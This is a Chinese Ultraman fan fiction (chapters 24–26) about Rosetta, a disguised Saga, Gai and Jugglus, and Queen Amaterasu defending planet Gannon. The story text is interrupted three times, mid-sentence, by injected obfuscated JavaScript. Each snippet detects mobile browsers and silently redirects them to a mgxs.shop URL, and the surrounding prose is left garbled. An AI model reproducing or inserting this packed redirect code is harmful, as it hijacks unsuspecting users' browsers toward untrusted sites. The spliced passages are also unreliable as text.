她什么都知道,可是她怎么能知道?赛迦被奇迹召唤,而非赛迦带来了奇迹。赛迦的存在感过于沉重,他的一举一动都让世界摇摇欲坠,每一次现世都在撕裂现实。因此,为了主动出现,他强行自我降格,既无法完全使用戴拿的形态和技能,也无法展现赛迦的力量。他身披【戴拿】的姿态行走于世,这一伪装也不是谁都能看穿,因为此时此刻,他的确只是【戴拿】。罗塞塔……她……祂看穿了一切。难道在此时,祂就已经苏醒了吗? 【戴拿】的瞳孔微缩,他问:“你是……■■■?” 罗塞塔困惑地偏了偏头。 推理出【戴拿】的真身并不困难。如果有一束光,他看起来像戴拿,自称是戴拿,同时他又不是人类。那么他要么是戴拿之光成精了,要么是上位召唤兽奇迹之光赛迦在套皮【戴拿】。但是赛迦的合成材料需要三个奥特曼:戴拿、高斯、赛罗。这里只有一个戴拿,赛罗更是离出生遥遥无期,那这个【戴拿】的情况就很奇怪了。原生之初这个副本何德何能惊动军方……哦不是,何以惊动神秘四奥这种存在下场殴打小朋友?她本来只是抱着试试看的心态诈他一下,但是好像诈出了不得了的东西。【戴拿】默认了自己的身份,并且喊出一个意义不明的名字。哥们,为什么你说话带消音的?他怎么看起来认识我?糟了,我该不会是什么怪东西的人柱力吧? 真是见鬼了。 罗塞塔继续试探:“你在说什么?圆环的任务已经严峻到需要【奇迹的战士】赛迦干预了吗?” 【戴拿】松了一口气。 若那个尊名还没被世界所承认,无法被识别和理解,那就说明情况未到不可挽回的地步。他竖起一根手指放在唇前,做出“噤声”的姿势:“请称呼我为【戴拿】。有些话语,只要说出来世界就会变得不妙。【我】的重量会让世界不堪重负,所以你明白了吗?” 罗塞塔契而不舍地追问:“那么【戴拿】,你又为何出现?” “……一部分是为了这个任务,一部分是……”男人向她走了一步,“我想来见你。” 罗塞塔:“……哈?” 她很想抓着对方的领子说大胆,你不许装神棍!但是对于大佬的忌惮让她放下这大不敬的念头。她皱起眉头,仔仔细细地端详着男人的脸。那张属于飞鸟信的脸上出现了正主绝不会做出的表情。【戴拿】的眼睛里盛满哀恸与怀念,望向她的目光好像在注视一轮终将坠落的新日,一盏一定会被摔碎的琉璃雕像,一轮打捞无数次也捞不上来的水中月。悲伤、愧疚、怜惜、期冀、惆怅……复杂浓烈的感情在感知中奔涌翻腾,涌进她的知觉像是尝到谁的泪水。她难以自制地被这苦而辣的味道呛到,于是她问:“你在我身上看见了什么,到底是什么命运,由谁加诸我身?” 【戴拿】沉默地摇了摇头。 好吧,又是现在不能说的东西。那么她还能问什么?他们才相遇不到一天,谈不上情谊,也没有什么可以回忆的往事,沉默在两人之间蔓延,罗塞塔想丢下这个谜语人走了。【戴拿】却在此刻问了一个奇怪的问题。他小心翼翼,踌躇着发问:“罗塞塔,在至今为止的人生中,你有感受过幸福吗?” 听见这句话的瞬间,有很多画面在罗塞塔的脑中闪过。那些在福利院度过的童年;托雷基亚走到她的面前向她伸出手;和泰罗一起大冒险;和赛文去看星星;和希卡利一起研究的夜晚……回过神,她没有正面回答,而是反问了一句:“我们之间是什么关系?” 你为什么要这样问我呢?你又是以什么立场,什么身份问出这样一句话? 【戴拿】深深地凝望了她一眼。 “是宿敌。” 他如此轻声说。 罗塞塔和【戴拿】回到斯扎克飞船上的时候,凯和伽古拉正在战斗。他们借用了御言的刀,在船舱中彼此相对,缓缓拔刀。 “我说过了,你还不明白吗,凯?”伽古拉拔出长刀,“战斗中最重要的就是抛去不必要的感情,没有人牺牲的战斗是不存在的。因为……” 因为我就是在这样不断选择的战斗中活下来的,在永不停息的战火中,一次次抉择,一次次杀死自己的软弱。 他没有把后面的话说完,而是持刀冲了上去。凯横刀格挡,他用坚定的双眼凝望伽古拉:“不去尝试怎么能说不行呢,伽古拉。我希望这个世界上不会再有悲伤,我会牵起每一双祈祷的手,因为我是奥特曼,欧布奥特曼!” “你以为你是神吗?连神都没能拯救这个世界,奥特曼也不是神!” “你总说感情是多余的,可是最初在战场上救下我的,不就是你吗?伽古拉!” “够了——” 刀剑相交的瞬间火星四溅,铁与火的碰撞激烈的就像他们的眼神。伽古拉和凯隔着刀锋互相怒视彼此,从对方的眼睛里看见自己此时的倒影。伽古拉看着眼前的凯,好像看见多年前在战场上刚捡到的少年。凯一如当年,眉眼清秀,神情坚毅,明明见过了宇宙的黑暗和冰冷,却仍要固执地用自己的双手去治愈这个世界。 为什么你总是如此的愚蠢!无知!天真!……善良。 凯是他在泥潭里捡到的星星,他仔细地擦拭干净,揣在胸口。可是他现在就要失去这颗星星,因为星星总归是要升到天上去,照耀世人。那明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648359|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我的东西!伽古拉心头五味杂陈,他咬着牙不断劈砍,挥刀,突刺。凯被他逼的连连后退,最后他横刀架在凯的脖间。凯喘着气,定定地看着他。 凯没有挡,他放水了。 伽古拉归还御言的刀,一言不发地走掉了。两个女孩互相交换了视线,御言去追伽古拉,立花过来搀扶凯。观战的森罗对凯说:“那一下可真凶险,你放水了吧?就不怕伽古拉真的砍下去?” “他不会的,伽古拉不会伤害我的。”凯抹了一把脸,认真地说,“伽古拉其实是一个善良的人。” 凯不会忘记,多年以前,一个黑衣的少年剑士拉住他的手,他们互相扶持着,涉过名为战争的深深血海。忽然有一天黑衣剑士望着疮痍的战场,对他说:“凯,我厌倦这一切了。我们走吧,去寻找一个答案。”医疗兵信服地说:“好,我们一起去。”他们从现实里逃开了,一起为了理想攀登战士之巅。伽古拉是他的引路人,是他最重要的朋友,无论如何他们总会一起走,因为他们其实就是一路人啊。 森罗不置可否,他只是摇着头说:“对于那样强大的剑士来说,战斗中的退让是一种侮辱。凯,你要好好道歉才行。” “是,我会去找伽古拉的。” 飞船一阵晃动,抵达跃迁地点。王立行星伽农出现在屏幕上,众人向上看去,只见黑压压的虫群围在伽农的卫星轨道上,形成一层黑色的防线。飞船靠近的时候,依稀可以辨认其中夹杂不同品种的怪兽,比如独角超兽巴克西姆和导弹超兽贝劳克恩。无数双红色的眼瞳在黑夜中发着光,恍若地狱在世间降临。 “我们要打进去吗?”凯毫不犹疑地去摸欧布圣剑。【戴拿】温声说:“不必担心,我已经叫我的朋友【高斯】来帮忙了。他会带着我们进去。” 一道蓝白色的光芒划破黑天,一个同样也是蓝色的奥特曼漂浮在飞船之前。高斯·月神模式朝飞船点了点头,他朝兽群飞去。 高斯有什么技能来着……【高斯】想了想,对怪兽放了一个满月光波,怪兽的眼神一下子变得清澈湛蓝。但是很快,一旁操控它们的巴力西卜发力,超兽发出痛苦的哀鸣,眼睛又恢复残暴的红色。 感化不了?那没办法,只能火化了。【高斯】放下手臂,汇集能量,全身旋转,然后灿烂耀眼的光线迸发,像一道星矢贯穿天际。蓝白的流星射向伽农,连云层被轰出一个巨大的空洞,轨迹上的怪兽与巴力西卜都被直接烧成灰烬,灰白的尘埃纷纷扬扬,像红毯上洒落的花瓣。一时间虫群都难以弥合这道防线上的缺口,飞船沿着这条“红毯”飞入伽农的近空。 “……” 罗塞塔看着【高斯】的光辉身影,无语凝噎。 这位更是没在演的,已知【戴拿】的皮下是赛迦,那这个【高斯】的皮下是谁呢,好难猜啊。 细思恐极。 24. 拿森罗打窝可以钓上来五个奥特曼 (24) 银色的科考船在伽农星着陆。伽农是一个生态环境极好的星球,大面积的绿色森林覆盖陆地表面,城市依靠地势建造。这颗星球上的建筑样式接近庙宇,斗拱重檐,屋顶施以黄色琉璃瓦,外墙用白色石料建构。城市淹没在郁郁葱葱的绿木中,它们围绕成一个环形,圆心处是一棵高达三百米的巨树。巨树的枝叶十分茂盛,亭亭如盖,交缠着的气枝如同生命的原始符号——双螺旋DNA,它们蜿蜒着向上生长,正如所有生命的底层渴望:永无止境的生存。风吹过时,叶海粼粼,发着光的果实在枝头轻轻摇晃。 这颗星球上的人好少啊,居然能够发展出宇宙航行的科技吗?罗塞塔看着渐近的地面想。飞船落下后,森罗作为本地人担任起迎宾的责任。他在降落之前就联系了国家卫队,向天照女王报告此次外出的事项与返航人员。飞船的舱门打开,所有奥都入乡随俗,拟态成人类摸样走出飞船。两队穿着红白色伽农星风格制服的仪仗队竖列在舱门两侧。仪仗队的尽头,是天照女王与她的近卫队,来迎将军身披黑甲,落后女王一个身位。 一个星球的领导者居然亲自迎接他们,凯不由得感到受宠若惊。 “欢迎回来,森罗。远道而来的战士们,也欢迎你们来到伽农。你们愿意秉持正义之心来帮助伽农,我作为女王,在此表示感激。” 天照女王是一个将近成年的少女,她穿着白色的衣裙,层层叠叠的白色蕾丝花边从领口与广袖泄出。黑色的长发梳成发髻,头顶黄金锻造的发冠。那顶华丽的头冠宛如烈阳,工匠制造之时用放射状的金丝模仿太阳的光芒,对称的金线从中间的圆环伸出。金冠中间是皇室的标志物,一个代表生命之树的双螺旋浮雕。她看上去像是一个被人捧在手心娇养的精致人偶,一位弱不禁风的少女,比起女王更像一个华而不实的吉祥物。但是当她开口的时候,所有人都无法忽视的王者气度从她身上散发出来。她的声音轻柔,语气沉静自然,伽农星的子民都为王的话语俯首。天照女王不需要庄严的腔调来表演王者的威严。因为她是伽农的王,所以她表现出什么样子,王就应该是什么样子。王的姿态由少女定义。 “让您担忧了,是属下的失职。” 森罗行礼,带着御言和立花走到天照女王的身后,女王的近卫队随着队长的归位而变换队形,轻微的阵型转变后,护卫队仍将女王拱卫在中心,像是围着头狼的忠诚狼群。女王的脸上依旧挂着温柔的微笑,她亲昵地说:“森罗,你是我重要的臣子,只要你能平安回到我身边,我就会很开心。”她提起裙摆向外乡的勇者们盈盈一拜:“诸位远道而来的客人,请与我一同来。为我讲述你们的旅途,请在伽农稍作休息。我的星球很美丽吧?我希望你们也能喜欢上这颗美丽的星球。” “好、好的、您太客气了。”凯被这位女王的态度哄得找不到北了,前辈们默契地站在他身后,将交流的机会让给这位新生的光之战士。纯白的女王转身向王宫议事厅走去,身着红白色衣装的男人女人们跟随着她。沉默而规矩的人群看起来像是古代举行祭祀的仪队,而女王就是献祭中最重要的祭品。 一二三四五……五个光之战士,其中还有几位存在感微妙的奥特曼,森罗队长真是给我带回了不得了的大人物呢。 天照女王在心中暗暗叹气,她想起了三天前,名为才气博士的男人第一次向伽农发出宣战的情景。 “我名才气博士,把女王交给我。否则我就操控宇宙恶魔巴力西卜破坏你们的生命之树。” 巴力西卜在伽农的神话中是恶魔的意思。它是丑陋凶恶的虫群,啃食生命之树为生,最后被树的守护者战神所击败杀死。但是神话只是口口相传的故事,谁也没有想到,故事中的恶魔会真的出现。 女王坐于主位,她伸手按停录音。她先开口:“这位才气博士是什么来头?” “没有听说过,”一身黑衣的老人接话,他是来迎将军:“竟然用生命之树威胁我们,如果生命之树被破坏,伽农星就会灭亡。女王陛下,军部观测到卫星轨道上的确盘旋着巴力西卜,看来此人所言非虚。我建议您马上变身战神,去把这个不知所谓的才气杀了!” “不行!”女王的近卫队长反对,名为森罗的男人说:“对方的目标就是女王陛下,我们怎么能把女王送到对面去?我认为我们应该先调查一下,才气博士为什么对女王陛下图谋不轨。” “管他什么阴谋诡计,我们应该先发先发制人。既然他已经对伽农宣战,就决不能放过他。如果轨道上的怪兽们降临,我们的国民将毫无反抗之力地死去!只有战神能够守护伽农的和平,皇家血脉就是为此存在的!” “你要女王御驾亲征吗?这岂不是遂了敌人的愿望?” “停止争论吧,我已经做出决定。森罗队长,我想让你去才气博士的所在地调查一下,探察对方的意图。如果能够进行谈判,我授予你代表伽农的权力。” “女王陛下,您为何逃避战斗?”来迎失望地看着女王,“您在害怕吗?” “我有不能变身的理由。”天照女王轻轻竖起手指,点在老人的眉心:“请相信我吧,相信我与母亲一样,会将伽农的一切守护。” 在少女的轻柔声线下,来迎将军好像被说服了,他低头行礼:“那么,在事态不可挽回之前,我将支持陛下的行动。” 来迎将军退下了。天照女王摘下项链,递到森罗的手上:“带上这个。这是皇家世代相传的消灾护符,它会保佑你安全归来的。” “是,女王陛下,必不负重托。” 森罗带着护身符出发了。女王端坐在王位上,她阖上眼。意识沉入生命之树,借助森罗的护符,她以第一视角观察着属下的行动。就让我看一看这个才气博士是怎么哄骗库因的,她想。她批准了森罗携带炸弹的申请,她知道森罗打算与才气同归于尽。这也是她默许的,因为她知道森罗听懂她的暗示,“授权”的意思就是,谈判破裂的时候杀死对方。 森罗见到了才气,他与对方虚与委蛇,尽可能地套话。才气博士是一个看起来举止疯癫的科学家,先是夸赞了天照女王是一个聪明人,和只懂暴力的野蛮人不同,选择了谈判而不是争斗。森罗继续问:“是什么给了你依仗来挑衅伽农?” “森罗队长,既然你如此好奇,我就来为你展示【天使的馈赠】吧!” 才气戴上一个仪器,屏幕上出现了巴力西卜女王库因的影像。库因操控中毒的怪兽互相厮杀,直到决出胜者,胜利的怪兽会掠夺失败者的力量,同时提高傀儡毒的浓度和效率。假以时日,库因一定能够获得足以感染全世界的毒素。森罗皱起眉头:“你想用傀儡毒支配宇宙吗?” “诶?怎么说得好像是一件坏事?”才气咏唱歌剧般抬起双手,他的视线轻飘飘地掠过森罗胸口的护符:“你不也是被你的女王支配着,才来到我的面前吗?” “我没有被天照大人操纵,保护天照大人是我自己的心愿。” “是吗?哈哈哈哈哈哈,好笑,真的是太好笑了。” 才气好像听到了一个不可思议的笑话,捂着肚子弯腰大笑起来。他的笑声在空旷的房间里回荡,森罗看着这个好像失心疯的男人,拧着眉,手慢慢搭在腰间的配剑上。笑声渐渐停息。才气直起腰,这个男人的表情从轻蔑变为哀叹:“活在这个世界上的人们,谁不是被名为【欲望】的毒素支配着呢?人们互相厮杀,互相践踏,因此被神逐出乐园。而我,将会用库因创造一个和平的世界,我要用毒素代替他们卑劣的意志,使人们重新变得温良驯服,我将把这个世界,建造成新的【乐园】。” 这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648360|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人是一个不可理喻的疯子。 森罗的脑中只有这一个念头,他已经放弃和这个神经病谈判了,对于侵略者冠冕堂皇的话语,他一个字都不会信。现在只有最后一个问题,他握着刀,吐出疑问:“这一切又和女王大人有什么关系,你为何需要天照大人?” “啊,小天照啊,美丽的战神。”才气的声音放软了,亲密的语气听得森罗想吐,“女王大人对我来说,是非常重要的存在。建造乐园需要奠基,战神就是最重要的那块基石。” 他含情脉脉地看着森罗,好像在透过他直接与女王对话:“小天照,我非常非常诚恳的邀请你,我们一起创造一个没有纷争的和平世界吧!” 森罗闭上眼睛,深吸一口气。他睁开眼,面无表情地按下起爆按钮。 无事发生。 “森罗队长,你在等待一场爆炸吗?”才气笑眯眯地说,“怎么说我也是一个科学家,屏蔽信号不是什么困难的事情。伽农的科技实在是太低级了,如果不是战神,你们怎么能过上这样平静幸福的日子呢?既然你不想和我好好谈论道理,我也只能动用一点蛮力。” 三只十米高的巴力西卜把森罗围住,森罗被关进高压电流组成的监狱,才气每天都来与他辩论。 他想要说服的是我。 王座上的天照女王如此想着。那个男人知道我一直注视着森罗,他不用傀儡毒素控制森罗,是因为他不想,还是他【不能】? 森罗没能杀死才气,是天照意料之中的事。幸好森罗试探出了很多情报,不愧是她看重的臣子。少女的指尖轻轻敲击着扶手,她沉思着。库因本不可能回到伽农,才气用那个装置命令库因,用一个和平的幻梦欺骗那个笨孩子,才气必须被除掉。但是战神不可以与库因相见,我的手上还有什么棋子可以打出呢? 她站起身,层叠的白衣拂过冰冷的宝座。天照女王来到生命之树之下,她用手触碰树身,开始检索数据。生命之树回应着她,无数资讯从散落在宇宙中的树种中流向她。七华、天奇、瓦琉、地球、U219、O-50……无数星球的情报向她开放,【生命之树】在无形的网络中发出广播,一道光芒闪烁,圆环之光回应了她的征召。 她断开连接,回到自己的寝宫。今天轮值的近卫是立花和御言,立花犹犹豫豫地问:“女王大人,森罗队长他……” “他被才气扣押了。” “您会去救他吗?” “……”天照歪了歪头,“你希望我去吗?这是你的谏言?” “不——我、我想去找队长!”立花鼓起勇气说,“请允许我去,我会为您杀死敌人,请让我去!” “这是连森罗也没能做到的事情,立花你立下了无法实现的誓言呢。”天照的语气平稳,听不出喜怒,“我不希望你的生命浪费在没有结果的事情上,你们都是我宝贵的子民。” “对不起!”立花跪下,将头伏在地上。“是我僭越了。女王大人,对不起。” 天照静静看着地上的女孩。御言试图说什么,迎上女王淡漠的视线,咬着牙跪下。 爱真是奇妙的东西,能让忠诚的士兵生出私心,也能让信任的朋友甘心同罪。改变她们的想法对于天照不是难事,她注视着这两个女孩长大,看着她们怀着对于王的憧憬与敬爱加入近卫队,她们是她座下的虔诚天使,既然如此,她为什么不能满足这两个傻孩子的小小心愿呢?若她们死去,她能够让她们再次【转生】,若【转生】失败,就只能不择手段地杀死库因。 “……做你们想做的事情吧,今天晚上我什么都不知道。” 慈爱的女王这样说着,转身离开。两个颤抖着的少女在天照的脚步声消失后,才敢抬起头。她们对视一眼,互相支撑着站起来。夜色中,一架斯扎克飞船悄悄飞出伽农。 25. 请把你的人生交给我 (25) 森罗队长在议事厅做了正式的汇报。 凯叮嘱道:“女王您千万不要变身战神,我和前辈们会保护您,保护这颗星球的。” 天照女王面带微笑着回应:“谢谢你们,远道而来的勇者们。伽农欢迎你们,请大家享受在伽农的时光。” 站立在女王身后的来迎想要说什么,但是在外人面前,他还是按捺下自己的不满。女王为众人安排了住处后就解散这个简短的会议。罗塞塔一行人来到伽农的时间要比才气早得多,近地轨道上的虫群尚未收到指令,仍在巡游。凯在散会之后想找伽古拉道歉,但是伽古拉没有理他,拉着罗塞塔走了。 “伽古拉,在生我的气吗?” 凯失落地耷拉下眼睛,作为导游的御言安慰了他一句:“朋友之间闹别扭很正常,过几天就会和好的。在飞船上的时候,师父有和我说起你们过去的事情。他不会丢下你,师父还想要和你一起战斗呢。” “伽古拉说了什么?请告诉我。”凯朝御言鞠了一躬,“拜托了,御言小姐。” 你们果然是非常重要的搭档啊。御言想,她用手轻点下巴,娓娓道来。 在飞船降临伽农之前,御言跟上了负气离开的伽古拉。她追上来,放轻声音:“师父,你不是赢了吗?为什么一脸被背叛的表情?” “……我没有赢。”伽古拉咬牙切齿地说,“是凯在一直让着我,这家伙,看不起我吗?” “我觉得凯先生的心思很单纯,他只是不想让你难过。” “我不需要这种怜悯!凯他……已经变得很强大了,我已经,没有与他并肩的实力了。” “你是这样想的吗?”御言走过来,站在他的身边,“凯先生也不是一直这么强大的吧,过去你们是怎么相处的呢?” 伽古拉仿佛被什么击中了。是的,过去他强于凯,他一边嫌弃凯的天真一边拉着他走,怎么凯变得厉害他就接受不了?难道说,是因为我在嫉妒凯吗?嫉妒他获得光的力量,嫉妒他比自己更强。我原来是这样卑怯懦弱的人么?无法接受一同长大的朋友变得比自己更强,无法接受比凯更努力的自己什么也没有得到。 他的表情扭曲了。心中有一个声音在冷冷地嘲笑,那是他自己的声音。 ——看啊,就是因为你的心如此丑陋,圆环之光才拒绝了你。 “凯和师父,就像我和立花呢。我和立花也是一起接受训练,一起考上近卫队的朋友。对于朋友来说,友情和实力无关。如果立花变强大了,我也会努力追上她的,我不会放弃我们的友情。师父你要抛弃凯先生吗?” “不……我……” 窗外的风景渐渐从宇宙变为伽农的天空。御言看着舷窗,看向伽古拉:“师父,你一定去过很多地方吧?我还没有离开过伽农星系,可以给我讲一讲你的见闻吗?” 伽古拉沉默片刻,从血腥黑暗的战事中抠出一点轻松的边边角角讲给这个正在关心他的女孩听。他并不是不识好歹的人,不会对跑过来安慰他的御言发脾气。讲着讲着,他发现自己的讲述中情不自禁地提起许多次凯的名字。 他难堪地住嘴,看着窗外的【高斯】如天神降临,清理出一条航道。 世界上已经有那么多奥特曼,为什么不能多我一个?对啊……宇宙这么大,或许还有别的办法成为奥特曼。他垂着眸想,我还是想要和凯一起走。听托雷基亚和罗塞塔说他们是光之国的科学家,我可以问问他们有什么办法,过一会,就去找看起来最好说话的罗塞塔请教。 他的表情平静下来,对御言说:“你说得对,我要努力变强赶上凯。” “你已经不生气了吗,师父?” “我没有生气!还有,不要叫我师父,我可没打算教你。” “怎么这样──我偏要喊,师父师父师父……” “所以,你想问我有什么办法获得力量,成为奥特曼吗?” 罗塞塔和伽古拉沿着一条溪流行走。他们走在水泽之畔,金色的鸢尾花茂盛地开放,随着溪上清风摇曳曼丽的身姿。有凋零的花瓣落入水中,顺着水流打旋漂流。罗塞塔在溪岸站定,双手交握,将身体转向伽古拉。她专注地注视着伽古拉的脸,说出了回答:“这个问题的答案其实非常简单,特别是对于我们光之国的奥特曼来说。你只要找到一个奥特曼与你一心同体就好了,你就能获得力量,成为奥特曼。” “只要被一个奥特曼认可就能够成为光之战士?”伽古拉没想到困扰他已久的难题是如此不值一提。他想,我应该用什么去打动一个光明的奥特战士,如果他们选人的标准与圆环之光一样呢?我并不是凯那样善良的人……他思考着,溪畔一时安静了下来,只听见流水潺潺的声音。罗塞塔在此时轻轻开口:“那么,你愿意成为我的人间体吗,伽古拉?” 什么? 伽古拉不可置信地抬头,罗塞塔平静地回望他,仿佛她只是说了一句“今天天气真好”。梦寐以求的机会被这个美丽强大的巨人摆在他的面前,他仿佛一只被鸡腿砸晕的流浪狗,一时间说不出话来。有很多思绪在他的脑中翻涌,最先涌上来的情感居然是惶恐,明明是自己千方百计地追求力量,可是当力量真的触手可及的时候,他居然升起了和凯一样的疑问。 ??光啊,你为何选择我? 他嘶哑着嗓音开口:“为什么选我?” 罗塞塔的语气依然轻柔平和,她的声音清澈甜美,像给一个做噩梦的孩子讲睡前童话。 “在战士之巅见到你的那一刻,我就知道你和凯不一样。无数攀登者带着对于光的希望和憧憬来参加试炼。但是伽古拉,你是怀着不甘和恨意来到圆环面前的。你早就知道了这个世界上充满了无能为力的悲伤,人们必须舍弃什么才能狼狈地活下去。你拥有和凯一样崇高的理想,但是你的心被现实摔得支离破碎,鲜血淋漓。” “你很痛苦,但你还是想要拯救很多很多人。我从你的身上感到了迷茫,你想要质问圆环,这个世界上真的有完美幸福的结局吗,真的有一种正义能够拯救众生吗。圆环无法回答你,但是你已经非常,非常,非常努力了,所以,我想要选择你。” ——被看透了。 伽古拉的瞳孔微缩,他冷汗涔涔,下意识地抱肩别过头,躲开面前之人的视线,心中升起无法言喻的焦躁和惶恐。罗塞塔的话语像一颗炸弹,瞬间炸开伽古拉多年建立起的心防。原来在真正的光面前,他心中那些不够明亮的想法完全一览无遗。他不信光,不够虔诚不够纯粹,所以圆环拒绝了他。伽古拉从齿间艰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648361|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难地挤出字句:“我不需要你的怜悯。” “这不是怜悯,”罗塞塔说,“伽古拉,我相信你的疑惑、你的挣扎、你的寻找都有与光芒同样重要的意义。我想要看见你走上属于自己的道路,我希望你能走到终点。” 伽古拉沉默,那一刻他想了很多东西。故乡连年不断的战火、童年草田里金黄的稻谷、拿起蛇心剑的青年时光、捡到凯的那一天……他为保护家园举起剑,至今为止杀死过多少人了?剑士想,我曾想要成为英雄,我曾相信若是能够成为光芒,就能斩断世界上痛苦的循环,可是看着世间无休的血与火,他已经无法相信任何人许诺的和平未来。除了双手能够抓住的东西,其余的一切都是虚无。他抱着孤注一掷的理想爬上战士之巅,圆环却只是静默。难道我的梦想注定无法实现吗?伽古拉找不到可以憎恨的对象,于是只好一次又一次地对自己说,是我不够资格,是我不够努力,是我曾经为了生存……犯下累累罪过。 ……是圆环的正义无法拯救我。 可是为什么,为什么现在会有一个奥特曼看穿他的困惑,看见他的不堪和大逆不道,依旧愿意选择他,依旧认可他自己都怀疑的前路。我值得这份承认吗?伽古拉·伽古拉斯值得这份光芒吗? 你真的不心动吗?那强大的力量,触手可得的温暖,你不想要吗,伽古拉? 我当然渴望!伽古拉回答自己,我只是,我只是…… “人间体对你们奥特曼来说,意味着什么?”伽古拉转移了话题。 罗塞塔思考了片刻,轻松给出回答:“人间体是奥特曼选中的代行者,你可以使用我的躯体,我的力量与我的名字。当你成为我的伙伴,我们将共同度过余下的人生,体会同一份痛苦,共享同一个命运。我会成为你的剑,你的盾,献上我的一切为你而战。直到死亡将我们分离。” “那么,伽古拉,你愿意吗?” 她耐心地又重复了一遍邀请。 这种话!这个光人知道自己在说什么吗?——这也太犯规了!自认为见多识广的剑士捂住脸,喉头动了几下。他艰难地,在这沉重的气氛中呼吸着。他最后颓然地放下手,绿色的蛇瞳看向光之人:“不……现在,我还没有做好准备。” “没关系,我会等你的。我真的很中意你哦。”罗塞塔露出微笑。 伽古拉落荒而逃。 伽古拉在生命之树下找到了收集样本的托雷基亚,他问这个头发挑染蓝色的男人:“喂,托雷基亚。如果让你选人间体,你会有什么标准?” “我才不会选择其他种族的生命做人间体,自己的人生就要自己负责啊。”托雷基亚眯起眼睛,“问出这样的话,是罗塞塔和你说了什么?罗塞塔找你做人间体了?” 他想象了一下顶着伽古拉脸的罗塞塔,一阵恶寒,不行不行,我不要挚友被来历不明的男人同化!不能再摸鱼了,我必须马上开发出星云粒子转化系统,杜绝传统的一心同体现象。他升起对伽古拉的些许不满:“不管罗塞塔对你说了什么,你都不许答应,全部忘掉!听好了,伽古伽古,我绝不允许有奇怪的东西污染罗塞塔!” “……所以人间体对于奥特曼,是非常重要的东西?” “对于奥特曼来说,人间体,就是我们的人生。” 26. 我们围坐在篝火旁 (26) 天色晦暗,伽农的恒星在落下。熔融的金日犹如镶嵌在时光中的乌金眼瞳,铁锈色的霞云是眼睛满溢出的血液。黄昏将近,这颗星球上惶惶不安的人们点起火把,自发地结群走向生命之树,想要在这颗巨树的庇护中取得一点安慰。绵延不绝的队伍像是水中逆流的鱼群,火光如鱼背上反光的脊鳞。来迎将军派出军队维持人群的秩序,红白色的牧羊犬们把茫然温顺的羔羊围起,众人于树下相聚。 身穿蓝色外套的男人——【高斯】与【戴拿】并肩,他们顺着人流行走。【高斯】的面色冷淡,一边注视着正在与托雷基亚研究生命之树的罗塞塔,一边说话:“如何?需要现在就重启吗?” “不,我已确认目前的情况,暂时稳定。这一次的运行的时间要比预计长,也许,她能在这一次就完成【巡礼】。” “……如果这是你做出的决定,我相信你的判断。” 他们看见凯和伽古拉围着罗塞塔说话,罗塞塔拍着凯的肩膀说了什么,伽古拉不情愿地和凯握了握手,然后一脸嫌弃地走到一边,但剑士的嘴角却不自觉地上翘。凯回过头,看见这两个前辈。他激动地招招手,一路小跑过来:“您好,前辈!我是凯,也是欧布奥特曼。罗塞塔前辈说高师傅是宇宙中最强大的战士,请您指点我!” “……” 【高斯】想,罗塞塔完全是在明示,就差把他的真名说出来了。他好像不知不觉给高斯这位慈爱的战士增加了一些奇怪的传闻,希望真正的高斯不要受影响。他沉默地点点头,带着凯走到空旷的角落里去。【戴拿】摆了摆手,婉拒凯的邀请,他站在远处眺望着女孩的身影。 是在试探我们吗?还是这样的机敏啊,■■■。 夜色渐渐深沉,黑墨侵染黄昏。伽农星的百姓们在地上堆起篝火,围着火堆唱起古老的歌谣。他们穿着粗布的衣服,模仿遥远的先民依火而居。 文明的起源来自一朵火花,古人依靠火焰驱赶野兽,烹制食物,度过寒冷的冬天。火焰是人类亲手点燃的第二轮太阳,先民举着自己点燃的天火走出黑暗的洞穴。人们在缥缈又悠长的吟唱声中,与自己亲近之人坐在一起,共享此刻的安心与温暖。 “我说,御言,你是不是喜欢伽古拉?” 立花坐在篝火旁,拉着御言说悄悄话。 “女孩子喜欢一个人是什么样子的,我比谁都清楚。如果一个女孩爱上另一个人,她会不自觉地注视他。会很活泼地找很多话题,然后又忽然沉默,呆呆地注视着那个人的脸。你好像特别在乎伽古拉先生呢?” “也许吧,我不太清楚。”御言抱着膝盖说,摇晃的焰影照在她的脸上,披上一层薄红的轻纱,“师父……伽古拉他就是很厉害的人,他有那么厉害的剑术,去过那么多地方,而且虽然看起来骄傲,实际上却是一个很善良的人。我想向他靠近一点,哪怕只有一点点,我就很满足了。” “诶?你不想和他在一起吗?” “我们本来就没什么可能吧?伽古拉他是在宇宙中打抱不平的大侠,我是伽农星女王近卫队的队员,我们都有自己的事情要做。我们的相遇,就像是海里的鱼跃出水面,短暂地和飞鸟见上一面。我不能和他走,他也不能留下来。所以,这些天能够相处就已经足够了。” 